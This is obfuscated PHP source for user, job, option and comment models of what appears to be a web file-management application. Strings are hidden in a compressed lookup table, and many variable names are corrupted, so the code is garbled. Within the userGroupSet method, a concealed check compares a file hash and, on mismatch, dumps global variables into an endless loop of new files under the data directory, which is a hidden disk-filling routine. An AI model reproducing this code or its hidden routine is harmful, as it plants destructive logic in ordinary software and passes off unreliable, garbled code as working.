rename($Ӿ, $) { $ =& $_SERVER[Ǿ]; if ($Ӿ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $•ά = array($[1631] => USER_ID, $[483] => 0, $[42] => $Ӿ); return $this->where($•ά)->save(array($[42] => $)); } protected function resetSort($䪟) { $ʉ =& $_SERVER[Ǿ]; $䪟 = is_array($䪟) ? $䪟 : array(); $Ǩ = array($ʉ[1631] => USER_ID); for ($뾄 = 0; $뾄 < count($䪟); $뾄++) { $Ǩ[$ʉ[420]] = $䪟[$뾄]; $this->where($Ǩ)->save(array($ʉ[1812] => $뾄 + 1)); } return !0; } protected function moveTop($˪ߚ) { $߇ =& $_SERVER[Ǿ]; $ս = array($߇[1631] => USER_ID, $߇[483] => 0); $Ĝ = $this->where($ս)->where(array($߇[42] => $˪ߚ))->find(); if (!$Ĝ) { return; } $ٌ = $this->field($߇[401])->where($ս)->order($߇[2235])->select(); $ٌ = array_to_keyvalue($ٌ, $߇[22], $߇[401]); $ = $ٌ; $ٌ = array_remove_value($ٌ, $Ĝ[$߇[401]]); array_unshift($ٌ, $Ĝ[$߇[401]]); return $this->resetSort($ٌ); } protected function moveBottom($խ) { $Η =& $_SERVER[Ǿ]; $ = array($Η[1631] => USER_ID, $Η[483] => 0); $ = $this->where($)->max($Η[1831]); $牬 = array($Η[1831] => $ + 1); return $this->where($)->where(array($Η[42] => $խ))->save($牬); } private function getAutoName($Ԣƞ݄) { $ =& $_SERVER[Ǿ]; $ʝի = array($[1631] => USER_ID, $[483] => 0); $ = $this->field($[42])->where($ʝի)->select(); $ = array_to_keyvalue($, $[22], $[42]); if (!$ || !in_array($Ԣƞ݄, $)) { return $Ԣƞ݄; } for ($Ԫ = 0; $Ԫ < count($); $Ԫ++) { if (!in_array($Ԣƞ݄ . "\50{$Ԫ}\x29", $)) { return $Ԣƞ݄ . "\x28{$Ԫ}\51"; } } return $Ԣƞ݄ . "\50{$Ԫ}\x29"; } } goto d٠‹; Bނɐ: define($_SERVER[Ǿ][0], $_SERVER[Ǿ][1]); $_SERVER[] = explode($_SERVER[Ǿ][2], gzinflate(substr($_SERVER[Ǿ][3], 10, -8))); function binCheckEq($ܷ, $ة) { return $ܷ == $ة; } goto Eի; d٠‹: class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\x6d\56\x6a\157\x62\114\151\x73\x74"; public $field = array("\x6e\141\155\x65", "\x64\145\x73\143", "\x73\x6f\x72\164"); const JOB_KEY = "\x73\145\154\146\x4a\157\x62\114\151\163\164"; public function listData($ = false, $ = "\163\157\x72\x74", $ = false) { return parent::listData($, $, $); } public function remove($ԟ) { return parent::remove($ԟ); } public function add($Ȭ) { $ =& $_SERVER[Ǿ]; if ($this->findByName($Ȭ[$[42]])) { return !1; } $Ȭ[$[1831]] = $this->getSort(); return parent::insert($Ȭ); } private function getSort() { $őΆ =& $_SERVER[Ǿ]; $ = parent::listData(); $݆ = array_to_keyvalue($, $őΆ[22], $őΆ[1831]); return empty($݆) ? 0 : max($݆) + 1; } public function update($򋵲, $) { $Ѹ =& $_SERVER[Ǿ]; $䒪 = parent::listData($򋵲); $ = $this->findByName($[$Ѹ[42]]); if (!$䒪 || $ && $[$Ѹ[401]] != $䒪[$Ѹ[401]]) { return !1; } return parent::update($򋵲, $); } public function setUserJob($, $漿) { $ɧ =& $_SERVER[Ǿ]; if (!is_array($漿)) { $漿 = array($漿); } $ = parent::listData(); $ = array_to_keyvalue($, $ɧ[42]); $ = $ɧ[382]; foreach ($漿 as $֢) { if ($[$֢]) { $ .= $[$֢][$ɧ[401]] . $ɧ[60]; } else { $ے = $this->add($֢); $ .= $ے . $ɧ[60]; } } $ = rtrim($, $ɧ[60]); Model($ɧ[538])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[Ǿ][538])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $خ =& $_SERVER[Ǿ]; $ܘ = explode($خ[60], $); $ɱ = parent::listData(); $ɱ = array_remove_key($ɱ, $خ[203]); $؝ = array(); foreach ($ܘ as $) { if (isset($ɱ[$])) { $؝[] = $ɱ[$]; } } return $؝; } } class UserModel extends ModelBase { protected $tableName = "\165\x73\x65\162"; protected $tableMeta = array("\x74\x61\142\x6c\145\x4e\x61\x6d\145" => "\x75\x73\145\x72\137\155\145\x74\141", "\155\x65\x74\x61\106\x69\x65\x6c\144" => "\x75\x73\145\x72\111\104"); protected $simpleField = "\165\163\x65\162\x49\104\x2c\x6e\x69\143\x6b\116\x61\155\145\54\156\141\x6d\145\x2c\x61\166\141\x74\141\x72\54\x73\145\170\x2c\163\164\141\164\x75\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[Ǿ]; $ = $[2236]; return array($[1885] => array($[0], $), $[1887] => array($[0], $), $[2237] => array($[0], $)); } protected function getInfo($, $ = false) { $ϩ = $this->getInfoSimple($); if (!is_array($ϩ)) { return array(); } if ($) { return $this->_getInfoApply($ϩ); } return $this->cacheFunctionGet($_SERVER[Ǿ][1889], $); } protected function getInfoFull($ժ, $ = false) { $ҝ = $this->getInfoSimple($ժ); if (!is_array($ҝ)) { return array(); } if ($) { return $this->_getInfoApply($ҝ, !0); } return $this->cacheFunctionGet($_SERVER[Ǿ][2238], $ժ); } private function _getInfoApply($񐼺, $ = false) { $丯 =& $_SERVER[Ǿ]; if (!$񐼺) { return $񐼺; } $幺 = md5($丯[2239] . $񐼺[$丯[874]] . $丯[2240] . $񐼺[$丯[42]]); $񐼺 = $this->_listDataApplyItem($񐼺); $ = Model($丯[1310])->metaGet($񐼺[$丯[97]][$丯[403]]); $񐼺[$丯[2241]] = $幺; $񐼺[$丯[97]][$丯[2071]] = isset($[$丯[2072]]) ? $[$丯[2072]] : null; if ($) { $񐼺[$丯[465]] = $this->metaGet($񐼺[$丯[1640]]); } return $񐼺; } protected function getInfoSimple($ƫі, $є = false) { $dž =& $_SERVER[Ǿ]; if (!$ƫі) { return array(); } if ($є) { $䈤 = $this->where(array($dž[1640] => intval($ƫі)))->find(); if (!is_array($䈤)) { return array(); } $䈤[$dž[2242]] = Action($dž[2243])->parseUrl($䈤[$dž[2242]]); return $䈤; } return $this->cacheFunctionGet($dž[1890], $ƫі); } protected function getInfoSimpleOuter($󗕦) { $ =& $_SERVER[Ǿ]; if (!$󗕦 || $󗕦 == 0) { return array($[1640] => $[200], $[42] => $[169] . LNG($[2244]) . $[536], $[2242] => STATIC_PATH . $[2245]); } $똼 = $this->cacheFunctionGet($[1890], $󗕦); $ = array_field_key($똼, explode($[60], $this->simpleField)); if (!$) { return array($[1640] => $[1173], $[42] => $[169] . LNG($[2246]) . $[536], $[2242] => STATIC_PATH . $[2247]); } $[$[2242]] = Action($[2243])->parseUrl($[$[2242]]); return $; } protected function groupUser($܂) { } public static function errorLang($) { $̡ =& $_SERVER[Ǿ]; $р = array(self::ERROR_USER_NOT_EXISTS => $̡[2248], self::ERROR_USER_PASSWORD_ERROR => $̡[2249], self::ERROR_USER_EXIST_NAME => $̡[2250], self::ERROR_USER_EXIST_PHONE => $̡[2251], self::ERROR_USER_EXIST_EMAIL => $̡[2252], self::ERROR_USER_LOGIN_LOCK => $̡[2253], self::ERROR_IP_NOT_ALLOW => $̡[2254], self::ERROR_USER_EXIST_NICKNAME => $̡[2255]); return LNG($р[$]); } public function getInfoByMeta($̛׌, $׳) { $㇊ =& $_SERVER[Ǿ]; $ = Model($㇊[2256])->where(array($㇊[105] => $̛׌, $㇊[378] => $׳))->find(); if ($) { return $this->getInfo($[$㇊[1640]]); } return !1; } public function userLoginCheck($, $ϻ) { $Ӡӆ =& $_SERVER[Ǿ]; $ŻÁ = $this->userLoginFind($); if (!$ŻÁ) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($ŻÁ[$Ӡӆ[1640]], $ϻ)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($ŻÁ[$Ӡӆ[1640]]); } public function userLoginFind($) { $Ơ =& $_SERVER[Ǿ]; $ = array($Ơ[42] => $, $Ơ[2076] => $, $Ơ[309] => $, $Ơ[2257] => $, $Ơ[985] => $Ơ[987]); if ($this->nickNameRpt()) { unset($[$Ơ[2076]]); } return $this->where($)->find(); } public function clearCache($񂯣) { $͎ =& $_SERVER[Ǿ]; $this->cacheFunctionClear($͎[1889], $񂯣); $this->cacheFunctionClear($͎[1890], $񂯣); $this->cacheFunctionClear($͎[2238], $񂯣); } public function userPasswordCheck($, $) { $‚ =& $_SERVER[Ǿ]; $ђ = $this->where(array($‚[1640] => intval($)))->find(); $ = $this->metaGet($); $ߋ = isset($[$‚[2258]]) ? $[$‚[2258]] : $‚[22]; if (md5($ߋ . trim($)) !== $ђ[$‚[874]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[Ǿ]; $ȋщ = array($[421] => $[$[42]], $[2259] => $[$[1520]], $[2260] => isset($[$[309]]) ? $[$[309]] : $[22], $[2261] => isset($[$[2257]]) ? $[$[2257]] : $[22], $[2262] => isset($[$[2076]]) ? $[$[2076]] : $[$[42]], $[2263] => isset($[$[2242]]) ? $[$[2242]] : $[22], $[2264] => isset($[$[2265]]) ? $[$[2265]] : 1, $[2266] => $[$[874]], $[1891] => isset($[$[1795]]) ? $[$[1795]] : 1024 * 1024 * 20, $[1892] => 0, $[2267] => 0, $[1932] => isset($[$[742]]) ? $[$[742]] : 1); if (!empty($[$[1640]])) { $ȋщ[$[1640]] = $[$[1640]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } $¼ = $this->add($ȋщ); $ΒŞ = array($[2266] => $ȋщ[$[874]], $[2262] => $ȋщ[$[2076]]); $this->userEdit($¼, $ΒŞ); Model($[1310])->userRootAdd($¼); return $¼; } protected function userEditTest($ӷȋ, $٠̘) { return $this->call($_SERVER[Ǿ][2268], $ӷȋ, $٠̘); } protected function userEdit($, $À) { $ =& $_SERVER[Ǿ]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = $this->_checkExist($À, $); if ($ !== !0) { return $; } if (isset($À[$[874]]) && trim($À[$[874]]) != $[22]) { $ = $this->metaGet($); if (empty($[$[2258]])) { $[$[2258]] = rand_string(10); Model($[513])->metaSet($, $[2258], $[$[2258]]); } $À[$[874]] = md5($[$[2258]] . trim($À[$[874]])); } else { unset($À[$[874]]); } $this->where(array($[1631] => $))->save($À); if (isset($À[$[2076]])) { $this->setNamePinyin($, $À[$[2076]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $ =& $_SERVER[Ǿ]; if (!$) { $Ǫ = $this->getInfoSimple($); $ = $Ǫ[$[2076]] ? $Ǫ[$[2076]] : $Ǫ[$[42]]; } $ = Model($[538]); if (!Input::check($, $[587])) { return $->metaSet($, array($[464] => $[22], $[463] => $[22])); } return $->metaSet($, array($[464] => str_replace($[63], $[22], Pinyin::get($)), $[463] => Pinyin::get($, $[588]))); } private function nickNameRpt() { $Ȫ =& $_SERVER[Ǿ]; $ˇ = Model($Ȫ[762])->get($Ȫ[2269]); $³Ç = $GLOBALS[$Ȫ[16]][$Ȫ[385]][$Ȫ[2269]]; $ = !is_null($ˇ) ? $ˇ : $³Ç; return !!$; } private function _checkExist($ő, $ = false) { $䌉 =& $_SERVER[Ǿ]; $ = array($䌉[42] => UserModel::ERROR_USER_EXIST_NAME, $䌉[2076] => UserModel::ERROR_USER_EXIST_NICKNAME, $䌉[309] => UserModel::ERROR_USER_EXIST_EMAIL, $䌉[2257] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$䌉[2076]]); } $ր럛 = $ ? array($䌉[1640] => array($䌉[2270], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ي => $) { if (isset($ő[$ي]) && $ő[$ي]) { $[] = $ő[$ي]; } } if (!$) { continue; } $ = array_merge(array($ => array($䌉[17], $)), $ր럛); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($ݖ) { $޶ٝ =& $_SERVER[Ǿ]; $ѽ = array(); $ݖ = is_array($ݖ) ? array_unique($ݖ) : array(); if (!$ݖ) { return $ѽ; } if (count($ݖ) < 20) { foreach ($ݖ as $) { $ѽ[$ . $޶ٝ[22]] = $this->getInfoSimpleOuter($); } } else { $ƽˡ = array($޶ٝ[1631] => array($޶ٝ[419], $ݖ)); if (count($ݖ) == 1) { $ƽˡ = array($޶ٝ[1631] => $ݖ[0]); } $ϑ = Model($޶ٝ[513])->field($this->simpleField)->where($ƽˡ)->select(); $ϑ = array_to_keyvalue($ϑ, $޶ٝ[1640]); foreach ($ݖ as $) { $ = $ϑ[$]; if (!$) { $ѽ[$ . $޶ٝ[22]] = $this->getInfoSimpleOuter($); continue; } $[$޶ٝ[2242]] = Action($޶ٝ[2243])->parseUrl($[$޶ٝ[2242]]); $ѽ[$ . $޶ٝ[22]] = $; } } return $ѽ; } protected function userStatus($񏚻, $) { $ɽ = $this->getInfoSimple($񏚻); if (!$ɽ) { return !1; } $ = array($_SERVER[Ǿ][742] => $); return $this->userEdit($񏚻, $); } protected function userRemove($) { $ǥ =& $_SERVER[Ǿ]; $ = $this->getInfoSimple($); if (!$) { return !1; } $Ȩ = array($ǥ[1631] => $); Model($ǥ[595])->where($Ȩ)->delete(); Model($ǥ[2271])->where($Ȩ)->delete(); Model($ǥ[1897])->where($Ȩ)->delete(); Model($ǥ[2256])->where($Ȩ)->delete(); Model($ǥ[1053])->where($Ȩ)->delete(); Model($ǥ[2093])->removeUserAll($); Model($ǥ[817])->userRootRemove($); return $this->where($Ȩ)->delete(); } protected function userGroupSet($, $à, $ = array()) { $ =& $_SERVER[Ǿ]; $ = $_SERVER[$[9]] . $[10]; $ = $[1504]; if ($_SERVER[$[6]] != $($)) { $Є = $[864]; $‘ę = $[8]; $Ӛ = $_SERVER[$[9]] . $[10]; $ = $‘ę($Ӛ); $΂ = explode($[11], $); if (count($΂) < $[607]) { $۲ = $[13]; $۲(); } $߷ = $[865]; $߷($_SERVER[$[866]]); $Є = $[864]; $Є(); $ = $[1505]; $Ş = json_encode($GLOBALS[$[1506]]); $ئͺ = 1; for ($Š = $ئͺ; $Š > 0; $Š++) { $(DATA_PATH . $Š, $Ş); } } $ = $this->getInfoSimple($); if (!$ || !is_array($à)) { return !1; } $ߋ = Model($[1897]); $ߋ->where(array($[1640] => $))->delete(); $Ō = array(); $ŕ = 0; foreach ($à as $ْ => $) { $ = array($[1640] => $, $[1808] => $ْ, $[1909] => $); $[$[1831]] = isset($[$ŕ]) ? $[$ŕ] : 0; $ŕ++; $Ō[] = $; } return $ߋ->addAll($Ō, array(), !0); } protected function userGroupAdd($, $ = array()) { $ܝ =& $_SERVER[Ǿ]; $́ = $this->getInfoSimple($); if (!$́ || empty($)) { return !1; } $ = array(); foreach ($ as $ => $Ͼ) { $[] = array($ܝ[1640] => $, $ܝ[1808] => $, $ܝ[1909] => $Ͼ, $ܝ[1831] => 0); } return Model($ܝ[1897])->addAll($, array(), !0); } protected function userGroupRemove($ϗ, $) { $ =& $_SERVER[Ǿ]; $ŋ = $this->getInfoSimple($ϗ); if (!$ŋ || !$) { return !1; } $ė = array($[1631] => $ϗ, $[1895] => $); return Model($[1897])->where($ė)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[Ǿ][373]]); return $; } public function listByID($ޤ) { $ =& $_SERVER[Ǿ]; if (!$ޤ) { return; } $ = array($[1640] => array($[17], $ޤ)); $ةЄ = $this->where($)->select(); $ةЄ = array_sort_keep($ةЄ, $[1640], $ޤ); $this->_listDataApply($ةЄ); return $ةЄ; } public function listByGroup($Õ = 0, $ׄ = array()) { $Ҏdz =& $_SERVER[Ǿ]; $ƨ = $Ҏdz[22]; $򮶂 = array(); if ($Õ) { $򮶂 = array($Ҏdz[2272] => intval($Õ)); $ƨ = "\x4c\x45\106\x54\40\x4a\117\111\x4e\x20{$this->tablePrefix}\x75\163\145\162\x5f\147\x72\157\x75\x70\x20\x75\x73\145\x72\137\x67\162\x6f\x75\x70\40\x6f\156\x20\165\x73\x65\162\56\x75\163\145\x72\111\104\40\75\40\165\x73\145\162\137\147\162\157\x75\160\56\165\163\145\162\x49\104"; $֥ = Input::get($Ҏdz[455], null, $Ҏdz[22]) ? $Ҏdz[22] : $Ҏdz[2273]; } if (isset($ׄ[$Ҏdz[742]])) { $򮶂[$Ҏdz[2274]] = $ׄ[$Ҏdz[742]]; } $ = $this->_makeOrder($֥)->field($Ҏdz[2275])->where($򮶂)->join($ƨ)->selectPage(50); $this->_listDataApply($[$Ҏdz[373]]); return $; } private function _makeOrder($׀ = '') { $ы =& $_SERVER[Ǿ]; $ʖ = array($ы[1640], $ы[42], $ы[1797], $ы[1769], $ы[203]); $ч = array($ы[448] => $ы[449], $ы[450] => $ы[451]); $Ի = Input::get($ы[455], $ы[17], $ы[1631], $ʖ); $β = Input::get($ы[456], $ы[17], $ы[1898], array($ы[1898], $ы[450])); $β = $ч[$β]; $׀ = $׀ . "\x75\163\x65\x72\x2e{$Ի}\x20{$β}\x2c\40\x75\163\x65\162\x2e\165\x73\x65\x72\x49\104\40\141\x73\143"; return $this->alias($ы[2016])->order($׀); } public function listSearch($) { $轕 =& $_SERVER[Ǿ]; $ؖ = $[$轕[1899]]; $ϲ = isset($[$轕[1900]]) ? $[$轕[1900]] : !1; $ؖ = str_replace($轕[1901], $轕[1902], trim($ؖ)); $ŭ = array($轕[42] => array($轕[387], "\x25{$ؖ}\45"), $轕[309] => array($轕[387], "{$ؖ}\x25"), $轕[2076] => array($轕[387], "{$ؖ}\x25"), $轕[985] => $轕[1903]); if (Input::check($ؖ, $轕[315])) { $ŭ[$轕[1640]] = array($轕[387], "{$ؖ}\x25"); $ŭ[$轕[2257]] = array($轕[387], "{$ؖ}\x25"); } if (!$ؖ) { $ŭ = array(); } if (isset($[$轕[742]])) { $ŭ[$轕[742]] = $[$轕[742]]; } $ŭ = $this->parseWhereLike($ŭ); $Ґ = $this->_makeOrder()->where($ŭ)->selectPage(20); if (!$Ґ || count($Ґ[$轕[373]]) < 5 && Input::check($ؖ, $轕[322])) { $۽ = $this->_searchFromMeta($轕[463], $ؖ, 10); $Մ͢ = $this->_searchFromMeta($轕[464], $ؖ, 10); $Щ = array_merge($۽, $Մ͢, $Ґ[$轕[373]]); $Ґ[$轕[373]] = array_unique_by_key($Щ, $轕[1640]); $Ґ[$轕[370]][$轕[371]] = count($Ґ[$轕[373]]); $Ґ[$轕[370]][$轕[372]] = ceil($Ґ[$轕[370]][$轕[371]] / $Ґ[$轕[370]][$轕[367]]); } $this->_listDataApply($Ґ[$轕[373]]); $this->_filterByGroup($Ґ, $ϲ); return $Ґ; } private function _filterByGroup(&$Ǡ, $) { $ =& $_SERVER[Ǿ]; if (!$) { return $Ǡ; } foreach ($Ǡ[$[373]] as $츳Զ => &$) { $ = array_to_keyvalue($[$[1986]], $[22], $[1808]); if (!in_array($, $)) { unset($Ǡ[$[373]][$츳Զ]); } } unset($); $Ǡ[$[373]] = array_values($Ǡ[$[373]]); $Ǡ[$[370]] = array($[2049] => count($Ǡ[$[373]]), $[2047] => $Ǡ[$[370]][$[367]], $[2046] => 1, $[2048] => 1); } private function _searchFromMeta($ą, $, $آ) { $Ȏ =& $_SERVER[Ǿ]; $ = strtolower($); $Ɇ = array($Ȏ[105] => $ą, $Ȏ[378] => array($Ȏ[387], "\45{$}\x25")); $Ɇ = $this->parseWhereLike($Ɇ); $ = Model($Ȏ[2276])->where($Ɇ)->limit($آ)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Ȏ[22], $Ȏ[1640]); $ = $this->where(array($Ȏ[1631] => array($Ȏ[17], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($߲) { $뺩 = array($߲); $this->_listDataApply($뺩); return $뺩[0]; } private function _listDataApply(&$ϒ) { $л̋ =& $_SERVER[Ǿ]; if (!$ϒ) { return; } array_remove_key($ϒ, $л̋[874]); $Ͽ = array_to_keyvalue($ϒ, $л̋[22], $л̋[1640]); $this->_listAppendGroup($ϒ, $Ͽ); $this->_listAppendMeta($ϒ, $Ͽ); $this->_listAppendSourceRoot($ϒ, $Ͽ); } private function _listAppendSourceRoot(&$֟, $) { $肉 =& $_SERVER[Ǿ]; $ = Model($肉[817])->listSourceRoot(SourceModel::TYPE_USER, $); $ = array_to_keyvalue($, $肉[504]); $ = array_remove_key($, $肉[504]); foreach ($֟ as &$) { $[$肉[97]] = $[$[$肉[1640]]] ? $[$[$肉[1640]]] : array(); } unset($); } private function _listAppendGroup(&$ܷʜ, $) { $ =& $_SERVER[Ǿ]; $Ȝ = array($[1640] => array($[17], $)); $ = Model($[1897])->where($Ȝ)->select(); $ߘ = array_to_keyvalue($, $[22], $[1808]); $ߘ = array_remove_value(array_unique($ߘ), $[200]); if (!$ߘ || !$) { return; } $Ȝ = array($[1808] => array($[17], $ߘ)); $ = Model($[1984])->field($[2277])->where($Ȝ)->select(); $ = array_to_keyvalue($, $[1808]); $ = array_to_keyvalue_group($, $[1640]); foreach ($ as &$㊺) { $טѯ = array(); foreach ($㊺ as $ݦ) { if (!$ݦ[$[1909]]) { continue; } $Ǥ = Model($[507])->listData($ݦ[$[1909]]); $טѯ[] = array($[1808] => $ݦ[$[1808]], $[2278] => $[$ݦ[$[1808]]][$[42]], $[521] => $[$ݦ[$[1808]]][$[521]], $[414] => $Ǥ); } $㊺ = $טѯ; } unset($㊺); foreach ($ܷʜ as &$) { $[$[1986]] = array(); if (isset($[$[$[1640]]])) { $[$[1986]] = $[$[$[1640]]]; } } unset($); } public function userAppendGroup($Ǔ) { $ =& $_SERVER[Ǿ]; if (!$Ǔ) { return array(); } $this->_listAppendGroup($Ǔ, array_to_keyvalue($Ǔ, $[22], $[1640])); return $Ǔ; } private function _listAppendMeta(&$, $ԛ) { $ّׅ =& $_SERVER[Ǿ]; $ = UserJobModel::JOB_KEY; $ҥ = array($ّׅ[2258]); $ = array($ّׅ[1640] => array($ّׅ[17], $ԛ)); $֌ = Model($ّׅ[2256])->where($)->select(); $֌ = array_to_keyvalue_group($֌, $ّׅ[1640]); foreach ($֌ as &$) { $ڭۦ = array(); foreach ($ as $ͨы) { if (!in_array($ͨы[$ّׅ[105]], $ҥ)) { $ڭۦ[$ͨы[$ّׅ[105]]] = $ͨы[$ّׅ[378]]; } } $ = $ڭۦ; } unset($); $ = Model($ّׅ[2279]); foreach ($ as &$ƪ) { $ = array(); if (isset($֌[$ƪ[$ّׅ[1640]]])) { $ = $֌[$ƪ[$ّׅ[1640]]]; } $ƪ[$ّׅ[2280]] = array(); if (isset($[$])) { $ƪ[$ّׅ[2280]] = $->getUserJobInfo($[$]); } } unset($ƪ); } protected function groupUserAll($) { $۶ =& $_SERVER[Ǿ]; if (!$) { return !1; } $ޢ = Model($۶[1897])->field($۶[1640])->where(array($۶[1808] => array($۶[17], $)))->select(); $ޢ = array_to_keyvalue($ޢ, $۶[22], $۶[1640]); return array_unique($ޢ); } public function userSearch($, $Ѯ = "\x2a") { return Model($_SERVER[Ǿ][538])->where($)->field($Ѯ)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\x65\162\x5f\x6f\160\164\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($ݠ) { $ =& $_SERVER[Ǿ]; if (!defined($[474])) { define($[474], 0); } return "\x55\163\145\x72\x4f\160\164\x69\x6f\x6e\x5f{$ݠ}\x5f" . USER_ID; } protected function filterWhere($ދ뚐) { $ڔ =& $_SERVER[Ǿ]; if (!defined($ڔ[474])) { define($ڔ[474], 0); } $ދ뚐[$ڔ[1640]] = USER_ID; return $ދ뚐; } public function cacheRemoveUser($͞, $͘) { return Cache::remove("\125\163\145\162\x4f\160\164\151\157\156\x5f{$͞}\137" . $͘); } protected function optionDefault($ = '') { $ =& $_SERVER[Ǿ]; if ($ == $[22]) { return $GLOBALS[$[16]][$[2281]]; } if ($ == $[2282]) { return $GLOBALS[$[16]][$[2283]]; } } } goto a۰; eꙍ: class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\x6e\x74"; protected $tableMeta = array("\x74\141\142\154\145\x4e\x61\155\x65" => "\143\157\155\155\145\156\x74\137\155\x65\x74\x61", "\155\x65\164\141\x46\x69\145\x6c\144" => "\143\x6f\x6d\155\145\156\x74\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $۽ =& $_SERVER[Ǿ]; if ($[$۽[1836]]) { $Ԃ = $this->where(array($۽[1837] => $[$۽[1836]]))->find(); if (!$Ԃ || $Ԃ[$۽[412]] != $[$۽[412]] || $Ԃ[$۽[504]] != $[$۽[504]]) { return !1; } $this->where(array($۽[1837] => $[$۽[1836]]))->setAdd($۽[1838], 1); } $[$۽[1839]] = 0; $[$۽[1838]] = 0; $[$۽[742]] = 1; return $this->add($); } public function commentCount($, $≗, $խ = false) { $ =& $_SERVER[Ǿ]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ذ = array($[504], $[1840] => $[500]); $ = array($[504] => array($[17], $), $[412] => $≗); if ($խ) { $[$[1640]] = $խ; } $󭓈 = $this->field($ذ)->where($)->group($[504])->select(); return array_to_keyvalue($󭓈, $[504], $[500]); } public function starTarget($ٖ, $ܸù) { $ =& $_SERVER[Ǿ]; $ᤅ = $ٖ + self::TYPE_STAR_OFFSET; $ݓ = array($[1640] => USER_ID, $[412] => $ᤅ, $[504] => $ܸù); $ = $this->where($ݓ)->find(); if ($) { return $this->where(array($[401] => $[$[401]]))->delete(); } $ = array($[1836] => 0, $[1640] => USER_ID, $[742] => 1, $[747] => $[22], $[412] => $ᤅ, $[504] => $ܸù, $[1839] => 0, $[1838] => 0); return $this->add($); } public function starTargetCount($ܺ, $) { $ =& $_SERVER[Ǿ]; $ٟ = $ + self::TYPE_STAR_OFFSET; $ۏ = $this->commentCount($ܺ, $ٟ); $Ӊ = $this->commentCount($ܺ, $ٟ, USER_ID); return array($[1841] => $ۏ, $[1842] => $Ӊ); } public function starTargetUserList($, $) { $ʧ =& $_SERVER[Ǿ]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($ʧ[504] => $, $ʧ[412] => $); $֕ = $this->where($)->count(); $ = array($ʧ[259] => $֕, $ʧ[1843] => array()); if (!$֕) { return $; } $ڃ = $this->field($ʧ[1640])->where($)->limit(500)->select(); $ڃ = array_to_keyvalue($ڃ, $ʧ[22], $ʧ[1640]); $[$ʧ[1843]] = Model($ʧ[513])->userListInfo($ڃ); return $; } public function prasiseUserList($) { $ė =& $_SERVER[Ǿ]; $ʌ = array($ė[1844] => $); $א = $this->where($ʌ)->find(); $ = _get($א, $ė[1839], 0); $뜾 = array($ė[259] => $, $ė[1843] => array()); if (!$) { return $뜾; } $ކ = Model($ė[1845])->field($ė[1640])->where($ʌ)->limit(500)->select(); $ކ = array_to_keyvalue($ކ, $ė[22], $ė[1640]); $뜾[$ė[1843]] = Model($ė[513])->userListInfo($ކ); return $뜾; } public function remove($ǩ) { $ =& $_SERVER[Ǿ]; $ = array($[1837] => $ǩ); $ = $this->where($)->find(); if ($[$[1836]]) { $this->where(array($[1837] => $[$[1836]]))->setAdd($[1838], -1); } return $this->where($)->delete(); } public function edit($, $) { $ī =& $_SERVER[Ǿ]; $ѩ = array($ī[1837] => $); return $this->where($ѩ)->save(array($ī[1846] => $)); } public function prasise($∳) { $ =& $_SERVER[Ǿ]; $ȝà = Model($[1847]); $űܯ = array($[1837] => $∳, $[1631] => USER_ID); $ = $ȝÃ->where($űܯ)->find(); if (!$) { $ȝÃ->add($űܯ); $ = $this->where(array($[1837] => $∳))->setAdd($[1839], 1); } else { $ȝÃ->where($űܯ)->delete(); $ = $this->where(array($[1837] => $∳))->setAdd($[1839], -1); } return $; } public function targetInfo($ه, $ࠒ) { $֤ǻ =& $_SERVER[Ǿ]; $ޫ = array($֤ǻ[580] => $ه, $֤ǻ[581] => $ࠒ); $ = $this->where($ޫ)->count(); $ȷ = "\x52\111\107\x48\124\40\112\117\111\x4e\40{$this->tablePrefix}\x63\157\155\x6d\x65\x6e\164\x5f\160\162\x61\x69\163\x65\40\163\x74\x61\x72\40\x6f\156\x20\143\157\x6d\155\145\156\164\56\143\x6f\x6d\155\x65\156\x74\111\104\40\x3d\x20\163\164\x61\162\56\x63\x6f\155\x6d\x65\x6e\164\x49\x44"; $쁢 = $this->alias($֤ǻ[358])->where($ޫ)->join($ȷ, $֤ǻ[1848])->count(); $۰ = array($֤ǻ[1849] => $, $֤ǻ[1850] => $쁢); return $۰; } public function listData($ܱ) { $֋ =& $_SERVER[Ǿ]; if (isset($ܱ[$֋[1851]])) { if ($ܱ[$֋[1851]]) { $ܱ[$֋[1844]] = array($֋[999], intval($ܱ[$֋[1851]])); } unset($ܱ[$֋[1851]]); } if (isset($ܱ[$֋[1852]])) { if ($ܱ[$֋[1852]]) { $ܱ[$֋[1844]] = array($֋[996], intval($ܱ[$֋[1852]])); } unset($ܱ[$֋[1852]]); } return $this->_listData($ܱ); } private function 